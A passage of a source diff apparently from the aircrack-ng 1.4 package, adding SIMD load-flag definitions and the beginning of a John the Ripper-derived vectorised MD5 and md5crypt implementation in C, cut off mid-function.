+#ifndef __SSE_INTRINS_LOAD_FLAGS__
+#define __SSE_INTRINS_LOAD_FLAGS__
+
+/***************************************************************
+ * WARNING!!!! any changes to these numbers requires a new
+ * build of simd-intrinsics-32.S and simd-intrinsics-64.S
+ ***************************************************************/
+
+/*
+ * SSEi_MIXED_IN
+ * Input is a ready-to-use array of 16xCOEF ints that are properly SIMD
+ * interleaved, cleaned, appended with 0x80 and has a proper a length word.
+ * The data will be copied to stack workspace.
+ *
+ * SSEi_FLAT_IN
+ * Input is an array of 64xCOEF (128xCOEF_64 for 64 bit crypts) byte 'flat'
+ * values, the hash function has to shuffle it. But 0x80 and length must be
+ * in place.
+ *
+ * SSEi_CSTRING_IN
+ * Input will be just as for OpenSSL: A normal char[COEF][64] array where
+ * each string ends in NULL, with no 0x80 or length prepared. The intrinsics
+ * function needs to take care of that as well as cleaning (after NULL),
+ * shuffling and possibly do endian swapping if applicable.
+ *
+ * SSEi_FLAT_OUT
+ * Output will be just as from OpenSSL. Swapped if applicable, not interleaved.
+ * This should only be used for "final" crypt (and only for slow formats).
+ *
+ * SSEi_RELOAD
+ * No init; state from last crypt is held in output buffer.
+ *
+ * SSEi_RELOAD_INP_FMT
+ * No init; state from last crypt is held in output buffer. However, it is in
+ * 'INPUT' format. This is a no-op unless PARA > 1.
+ *
+ * SSEi_OUTPUT_AS_INP_FMT
+ * Write final output using 'INPUT' format. Will not matter unless PARA > 1
+ *
+ * SSEi_REVERSE_STEPS
+ * Reverse some steps, at minimum the "a = a + init". Only valid if not doing
+ * reload, and if format does corresponding things in binary() et. al.
+ *
+ * SSEi_2BUF_INPUT
+ * Input array is 2x in size, for a possible max input of 64+55 (119) bytes.
+ *
+ * SSEi_2BUF_INPUT_FIRST_BLK
+ * Input array 2x in size. This is the first block, so we must rotate element
+ * 14/15 if in flat mode.
+ *
+ * SSEi_4BUF_INPUT
+ * Input array is 4x in size (This is seen in the dynamic type, for sha256. We
+ * have 256 byte input buffers there).
+ *
+ * SSEi_4BUF_INPUT_FIRST_BLK
+ * Input array 4x in size. This is the first block, so we must rotate element
+ * 14/15 if in flat mode.
+ *
+ * SSEi_FLAT_RELOAD_SWAPLAST
+ * Can be an issue for flat mode, and reload (i.e. multi buffers.) The last
+ * limb should NEVER have this flag set. This also only 'affects' the SHA1
+ * and SHA256 formats. Similar to SSEi_4BUF_INPUT_FIRST_BLK, but simply says
+ * we will have more buffers coming after this one.
+ *
+ * SSEi_CRYPT_SHA224     use SHA224 IV.
+ * SSEi_CRYPT_SHA384     use SHA384 IV.
+ * These are specific to SHA2 hashes. Reusing the same bit, since only 1 will
+ * be used (i.e. it is not valid to do SSE_CRYPT_SHA224|SSE_CRYPT_SHA224)
+ *
+ * WARNING, SHA224 requires a FULL SHA256 width output buffer, and SHA384
+ * requires a full SHA512 width output buffer.  This is to allow proper
+ * reloading and doing multi-limb crypts.
+ */
+
+typedef enum {
+	SSEi_MIXED_IN = 0x0,
+	SSEi_FLAT_IN = 0x1,
+	/*	SSEi_CSTRING_IN              = 0x2,	NOT IMPLEMENTED YET*/
+	SSEi_FLAT_OUT = 0x4,
+	SSEi_RELOAD = 0x8,
+	SSEi_RELOAD_INP_FMT = 0x10 | SSEi_RELOAD,
+	SSEi_OUTPUT_AS_INP_FMT = 0x20,
+	SSEi_REVERSE_STEPS = 0x40,
+	SSEi_2BUF_INPUT = 0x80,
+	SSEi_2BUF_INPUT_FIRST_BLK = 0x100 | SSEi_2BUF_INPUT,
+	SSEi_4BUF_INPUT = 0x200,
+	SSEi_4BUF_INPUT_FIRST_BLK = 0x400 | SSEi_4BUF_INPUT,
+	SSEi_FLAT_RELOAD_SWAPLAST = 0x800,
+	SSEi_CRYPT_SHA224 = 0x1000,
+	SSEi_CRYPT_SHA384 = 0x1000,
+	SSEi_OUTPUT_AS_2BUF_INP_FMT = 0x2000 | SSEi_OUTPUT_AS_INP_FMT
+} SSEi_FLAGS;
+
+#endif /* __SSE_INTRINS_LOAD_FLAGS__  */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/simd-intrinsics.c Added

@@ -0,0 +1,2967 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is
+ * Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
+ * Copyright (c) 2012 Solar Designer,
+ * Copyright (c) 2011-2015 JimF,
+ * Copyright (c) 2011-2015 magnum,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary
+ * forms, with or without modification, are permitted provided that
+ * redistribution of source retains the above copyright.
+ */
+
+#include <string.h>
+
+#include "arch.h"
+#include "pseudo_intrinsics.h"
+#include "memory.h"
+#include "md5.h"
+#include "MD5_std.h"
+#include "stdint.h"
+#include "johnswap.h"
+#include "simd-intrinsics-load-flags.h"
+#include "aligned.h"
+#include "misc.h"
+#include "memdbg.h"
+
+/* Shorter names for use in index calculations */
+#define VS32 SIMD_COEF_32
+#define VS64 SIMD_COEF_64
+
+#if SIMD_PARA_MD5
+#define MD5_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_MD5)
+#define MD5_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_MD5; (x)++)
+
+#define MD5_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
+
+#define MD5_G(x, y, z) tmp[i] = vcmov((x[i]), (y[i]), (z[i]));
+
+#if __AVX512F__
+#define MD5_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+
+#define MD5_H2(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+#elif 1
+#define MD5_H(x, y, z)                                                         \
+	tmp2[i] = vxor((x[i]), (y[i]));                                            \
+	tmp[i] = vxor(tmp2[i], (z[i]));
+
+#define MD5_H2(x, y, z) tmp[i] = vxor((x[i]), tmp2[i]);
+#else
+#define MD5_H(x, y, z)                                                         \
+	tmp[i] = vxor((x[i]), (y[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (z[i]));
+
+#define MD5_H2(x, y, z)                                                        \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (x[i]));
+#endif
+
+#if __AVX512F__
+#define MD5_I(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x39);
+#elif __ARM_NEON__
+#define MD5_I(x, y, z)                                                         \
+	tmp[i] = vorn((x[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (y[i]));
+#elif !VCMOV_EMULATED
+#define MD5_I(x, y, z)                                                         \
+	tmp[i] = vcmov((x[i]), mask, (z[i]));                                      \
+	tmp[i] = vxor((tmp[i]), (y[i]));
+#else
+#define MD5_I(x, y, z)                                                         \
+	tmp[i] = vandnot((z[i]), mask);                                            \
+	tmp[i] = vor((tmp[i]), (x[i]));                                            \
+	tmp[i] = vxor((tmp[i]), (y[i]));
+#endif
+
+#define MD5_STEP(f, a, b, c, d, x, t, s)                                       \
+	MD5_PARA_DO(i)                                                             \
+	{                                                                          \
+		a[i] = vadd_epi32(a[i], vset1_epi32(t));                               \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vroti_epi32(a[i], (s));                                         \
+		a[i] = vadd_epi32(a[i], b[i]);                                         \
+	}
+
+#define MD5_STEP_r16(f, a, b, c, d, x, t, s)                                   \
+	MD5_PARA_DO(i)                                                             \
+	{                                                                          \
+		a[i] = vadd_epi32(a[i], vset1_epi32(t));                               \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vroti16_epi32(a[i], (s));                                       \
+		a[i] = vadd_epi32(a[i], b[i]);                                         \
+	}
+
+#define INIT_A 0x67452301
+
+void md5_reverse(uint32_t * hash) { hash[0] -= INIT_A; }
+
+void md5_unreverse(uint32_t * hash) { hash[0] += INIT_A; }
+
+#undef INIT_A
+
+void SIMDmd5body(vtype * _data,
+				 unsigned int * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags)
+{
+	vtype w[16 * SIMD_PARA_MD5];
+	vtype a[SIMD_PARA_MD5];
+	vtype b[SIMD_PARA_MD5];
+	vtype c[SIMD_PARA_MD5];
+	vtype d[SIMD_PARA_MD5];
+	vtype tmp[SIMD_PARA_MD5];
+#if !__AVX512F__
+	vtype tmp2[SIMD_PARA_MD5];
+#endif
+	unsigned int i;
+	vtype * data;
+
+#if !__AVX512F__ && !__ARM_NEON__
+	vtype mask;
+	mask = vset1_epi32(0xffffffff);
+#endif
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+// Move _data to __data, mixing it SIMD_COEF_32 wise.
+#if __SSE4_1__ || __MIC__
+		unsigned k;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD5_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_4x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_2x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#else
+		unsigned j, k;
+		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD5_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#endif
+		// now set our data pointer to point to this 'mixed' data.
+		data = w;
+	}
+	else
+		data = _data;
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD5_PARA_DO(i)
+		{
+			a[i] = vset1_epi32(0x67452301);
+			b[i] = vset1_epi32(0xefcdab89);
+			c[i] = vset1_epi32(0x98badcfe);
+			d[i] = vset1_epi32(0x10325476);
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+			}
+		}
+		else
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]);
+			}
+		}
+	}
+
+	/* Round 1 */
+	MD5_STEP(MD5_F, a, b, c, d, 0, 0xd76aa478, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 1, 0xe8c7b756, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 2, 0x242070db, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 3, 0xc1bdceee, 22)
+	MD5_STEP(MD5_F, a, b, c, d, 4, 0xf57c0faf, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 5, 0x4787c62a, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 6, 0xa8304613, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 7, 0xfd469501, 22)
+	MD5_STEP(MD5_F, a, b, c, d, 8, 0x698098d8, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 9, 0x8b44f7af, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 10, 0xffff5bb1, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 11, 0x895cd7be, 22)
+	MD5_STEP(MD5_F, a, b, c, d, 12, 0x6b901122, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 13, 0xfd987193, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 14, 0xa679438e, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 15, 0x49b40821, 22)
+
+	/* Round 2 */
+	MD5_STEP(MD5_G, a, b, c, d, 1, 0xf61e2562, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 6, 0xc040b340, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 11, 0x265e5a51, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 0, 0xe9b6c7aa, 20)
+	MD5_STEP(MD5_G, a, b, c, d, 5, 0xd62f105d, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 10, 0x02441453, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 15, 0xd8a1e681, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 4, 0xe7d3fbc8, 20)
+	MD5_STEP(MD5_G, a, b, c, d, 9, 0x21e1cde6, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 14, 0xc33707d6, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 3, 0xf4d50d87, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 8, 0x455a14ed, 20)
+	MD5_STEP(MD5_G, a, b, c, d, 13, 0xa9e3e905, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 2, 0xfcefa3f8, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 7, 0x676f02d9, 14)
+	MD5_STEP(MD5_G, b, c, d, a, 12, 0x8d2a4c8a, 20)
+
+	/* Round 3 */
+	MD5_STEP(MD5_H, a, b, c, d, 5, 0xfffa3942, 4)
+	MD5_STEP(MD5_H2, d, a, b, c, 8, 0x8771f681, 11)
+	MD5_STEP_r16(MD5_H, c, d, a, b, 11, 0x6d9d6122, 16) MD5_STEP(
+		MD5_H2, b, c, d, a, 14, 0xfde5380c, 23)
+		MD5_STEP(MD5_H, a, b, c, d, 1, 0xa4beea44, 4) MD5_STEP(
+			MD5_H2, d, a, b, c, 4, 0x4bdecfa9, 11)
+			MD5_STEP_r16(MD5_H, c, d, a, b, 7, 0xf6bb4b60, 16) MD5_STEP(
+				MD5_H2, b, c, d, a, 10, 0xbebfbc70, 23)
+				MD5_STEP(MD5_H, a, b, c, d, 13, 0x289b7ec6, 4) MD5_STEP(
+					MD5_H2, d, a, b, c, 0, 0xeaa127fa, 11)
+					MD5_STEP_r16(MD5_H, c, d, a, b, 3, 0xd4ef3085, 16) MD5_STEP(
+						MD5_H2, b, c, d, a, 6, 0x04881d05, 23)
+						MD5_STEP(MD5_H, a, b, c, d, 9, 0xd9d4d039, 4) MD5_STEP(
+							MD5_H2, d, a, b, c, 12, 0xe6db99e5, 11)
+							MD5_STEP_r16(MD5_H, c, d, a, b, 15, 0x1fa27cf8, 16)
+								MD5_STEP(MD5_H2, b, c, d, a, 2, 0xc4ac5665, 23)
+
+		/* Round 4 */
+		MD5_STEP(MD5_I, a, b, c, d, 0, 0xf4292244, 6) MD5_STEP(
+			MD5_I, d, a, b, c, 7, 0x432aff97, 10)
+			MD5_STEP(MD5_I, c, d, a, b, 14, 0xab9423a7, 15) MD5_STEP(
+				MD5_I, b, c, d, a, 5, 0xfc93a039, 21)
+				MD5_STEP(MD5_I, a, b, c, d, 12, 0x655b59c3, 6) MD5_STEP(
+					MD5_I, d, a, b, c, 3, 0x8f0ccc92, 10)
+					MD5_STEP(MD5_I, c, d, a, b, 10, 0xffeff47d, 15) MD5_STEP(
+						MD5_I, b, c, d, a, 1, 0x85845dd1, 21)
+						MD5_STEP(MD5_I, a, b, c, d, 8, 0x6fa87e4f, 6) MD5_STEP(
+							MD5_I, d, a, b, c, 15, 0xfe2ce6e0, 10)
+							MD5_STEP(MD5_I, c, d, a, b, 6, 0xa3014314, 15)
+								MD5_STEP(MD5_I, b, c, d, a, 13, 0x4e0811a1, 21)
+									MD5_STEP(
+										MD5_I, a, b, c, d, 4, 0xf7537e82, 6)
+
+										if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		MD5_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
+		}
+		return;
+	}
+
+	MD5_STEP(MD5_I, d, a, b, c, 11, 0xbd3af235, 10)
+	MD5_STEP(MD5_I, c, d, a, b, 2, 0x2ad7d2bb, 15)
+	MD5_STEP(MD5_I, b, c, d, a, 9, 0xeb86d391, 21)
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD5_PARA_DO(i)
+		{
+			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
+			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
+			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
+			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+			}
+		}
+		else
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]));
+			}
+		}
+	}
+
+#if USE_EXPERIMENTAL
+	/*
+ * This is currently not used for MD5, and was observed to result
+ * in a significant performance regression (at least on XOP) just by sitting
+ * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
+ * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
+ */
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		MD5_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 4 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 * 4,
+									14 * 4,
+									13 * 4,
+									12 * 4,
+									11 * 4,
+									10 * 4,
+									9 * 4,
+									8 * 4,
+									7 * 4,
+									6 * 4,
+									5 * 4,
+									4 * 4,
+									3 * 4,
+									2 * 4,
+									1 * 4,
+									0 * 4);
+
+			vscatter_epi32(o + 0, idxs, a[i], 4);
+			vscatter_epi32(o + 1, idxs, b[i], 4);
+			vscatter_epi32(o + 2, idxs, c[i], 4);
+			vscatter_epi32(o + 3, idxs, d[i], 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[4];
+				uint32_t s[4 * VS32];
+			} tmp;
+
+			tmp.v[0] = a[i];
+			tmp.v[1] = b[i];
+			tmp.v[2] = c[i];
+			tmp.v[3] = d[i];
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 4; k++) o[j * 4 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else
+#endif
+		if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			MD5_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+		else
+		{
+			MD5_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+	}
+	else
+	{
+		MD5_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 2 * VS32], c[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 3 * VS32], d[i]);
+		}
+	}
+}
+
+#define GETPOS(i, index)                                                       \
+	((index & (VS32 - 1)) * 4 + (i & (0xffffffff - 3)) * VS32 + ((i) &3))
+
+static MAYBE_INLINE void mmxput(void * buf,
+								unsigned int index,
+								unsigned int bid,
+								unsigned int offset,
+								unsigned char * src,
+								unsigned int len)
+{
+	unsigned char * nbuf;
+	unsigned int i;
+
+	nbuf = ((unsigned char *) buf) + index / VS32 * 64 * VS32
+		   + bid * 64 * MD5_SSE_NUM_KEYS;
+	for (i = 0; i < len; i++) nbuf[GETPOS((offset + i), index)] = src[i];
+}
+
+static MAYBE_INLINE void mmxput2(void * buf, unsigned int bid, void * src)
+{
+	unsigned char * nbuf;
+	unsigned int i;
+
+	nbuf = ((unsigned char *) buf) + bid * 64 * MD5_SSE_NUM_KEYS;
+	MD5_PARA_DO(i)
+	memcpy(nbuf + i * 64 * VS32,
+		   ((unsigned char *) src) + i * 16 * VS32,
+		   16 * VS32);
+}
+
+#if (ARCH_SIZE >= 8) || defined(__i386__) || defined(__ARM_NEON__)
+#define BITALIGN(hi, lo, s) ((((uint64_t)(hi) << 32) | (lo)) >> (s))
+#else
+#define BITALIGN(hi, lo, s) (((hi) << (32 - (s))) | ((lo) >> (s)))
+#endif
+
+static MAYBE_INLINE void mmxput3(void * buf,
+								 unsigned int bid,
+								 unsigned int * offset,
+								 unsigned int mult,
+								 unsigned int saltlen,
+								 void * src)
+{
+	unsigned int j;
+
+	MD5_PARA_DO(j)
+	{
+		unsigned int i;
+		unsigned int jm = j * VS32 * 4;
+		unsigned char * nbuf
+			= ((unsigned char *) buf) + bid * (64 * MD5_SSE_NUM_KEYS) + jm * 16;
+		unsigned int * s = (unsigned int *) src + jm;
+		for (i = 0; i < VS32; i++, s++)
+		{
+			unsigned int n = offset[i + jm / 4] * mult + saltlen;
+			unsigned int * d = (unsigned int *) (nbuf + (n & ~3U) * VS32) + i;
+
+			switch (n &= 3)
+			{
+				case 0:
+					d[0] = s[0];
+					d[1 * VS32] = s[1 * VS32];
+					d[2 * VS32] = s[2 * VS32];
+					d[3 * VS32] = s[3 * VS32];
+					break;
+#if 0
+			default:
+				n <<= 3;
+				{
+					unsigned int m = 32 - n;
+					d[0] = (d[0] & (0xffffffffU >> m)) | (s[0] << n);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], m);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], m);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], m);
+					d[4 * VS32] = (d[4 * VS32] & (0xffffffffU << n)) | (s[3 * VS32] >> m);
+				}
+#else
+				case 1:
+					d[0] = (d[0] & 0xffU) | (s[0] << 8);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 24);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 24);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 24);
+					d[4 * VS32]
+						= (d[4 * VS32] & 0xffffff00U) | (s[3 * VS32] >> 24);
+					break;
+				case 2:
+					d[0] = (d[0] & 0xffffU) | (s[0] << 16);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 16);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 16);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 16);
+					d[4 * VS32]
+						= (d[4 * VS32] & 0xffff0000U) | (s[3 * VS32] >> 16);
+					break;
+				case 3:
+					d[0] = (d[0] & 0xffffffU) | (s[0] << 24);
+					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 8);
+					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 8);
+					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 8);
+					d[4 * VS32]
+						= (d[4 * VS32] & 0xff000000U) | (s[3 * VS32] >> 8);
+#endif
+			}
+		}
+	}
+}
+
+static MAYBE_INLINE void dispatch(unsigned char buffers[8]
+													   [64 * MD5_SSE_NUM_KEYS],
+								  unsigned int f[4 * MD5_SSE_NUM_KEYS],
+								  unsigned int length[MD5_SSE_NUM_KEYS],
+								  unsigned int saltlen)
+{
+	unsigned int i, j;
+	unsigned int bufferid;
+
+	i = 1000 / 42;
+	j = 0;
+	do
+	{
+		switch (j)
+		{
+			case 0:
+				bufferid = 0;
+				mmxput2(buffers, bufferid, f);
+				break;
+			case 21:
+				bufferid = 1;
+				mmxput3(buffers, bufferid, length, 1, 0, f);
+				break;
+			case 3:
+			case 9:
+			case 15:
+			case 27:
+			case 33:
+			case 39:
+				bufferid = 2;
+				mmxput3(buffers, bufferid, length, 2, 0, f);
+				break;
+			case 6:
+			case 12:
+			case 18:
+			case 24:
+			case 30:
+			case 36:
+				bufferid = 3;
+				mmxput2(buffers, bufferid, f);
+				break;
+			case 7:
+			case 35:
+				bufferid = 4;
+				mmxput3(buffers, bufferid, length, 1, saltlen, f);
+				break;
+			case 14:
+			case 28:
+				bufferid = 5;
+				mmxput2(buffers, bufferid, f);
+				break;
+			case 2:
+			case 4:
+			case 8:
+			case 10:
+			case 16:
+			case 20:
+			case 22:
+			case 26:
+			case 32:
+			case 34:
+			case 38:
+			case 40:
+				bufferid = 6;
+				mmxput2(buffers, bufferid, f);
+				break;
+			default:
+				bufferid = 7;
+				mmxput3(buffers, bufferid, length, 2, saltlen, f);
+				break;
+		}
+		SIMDmd5body((vtype *) &buffers[bufferid], f, NULL, SSEi_MIXED_IN);
+		if (j++ < 1000 % 42 - 1) continue;
+		if (j == 1000 % 42)
+		{
+			if (!i) break;
+			i--;
+			continue;
+		}
+		if (j >= 42) j = 0;
+	} while (1);
+}
+
+void md5cryptsse(unsigned char pwd[MD5_SSE_NUM_KEYS][16],
+				 unsigned char * salt,
+				 char * out,
+				 unsigned int md5_type)
+{
+	unsigned int length[MD5_SSE_NUM_KEYS];
+	unsigned int saltlen;
+	unsigned int i, j;
+	MD5_CTX ctx;
+	MD5_CTX tctx;
+	JTR_ALIGN(MEM_ALIGN_SIMD)
+	unsigned char buffers[8][64 * MD5_SSE_NUM_KEYS] = {{0}};
+	JTR_ALIGN(MEM_ALIGN_SIMD) unsigned int F[4 * MD5_SSE_NUM_KEYS];
+
+	saltlen = strlen((char *) salt);
+	for (i = 0; i < MD5_SSE_NUM_KEYS; i++)
+	{
+		unsigned int length_i = strlen((char *) pwd[i]);
+		unsigned int * bt;
+		unsigned int tf[4];
+
+		/* cas 0 fs */
+		mmxput(buffers, i, 0, 16, pwd[i], length_i);
+		mmxput(buffers, i, 0, length_i + 16, (unsigned char *) "\x80", 1);
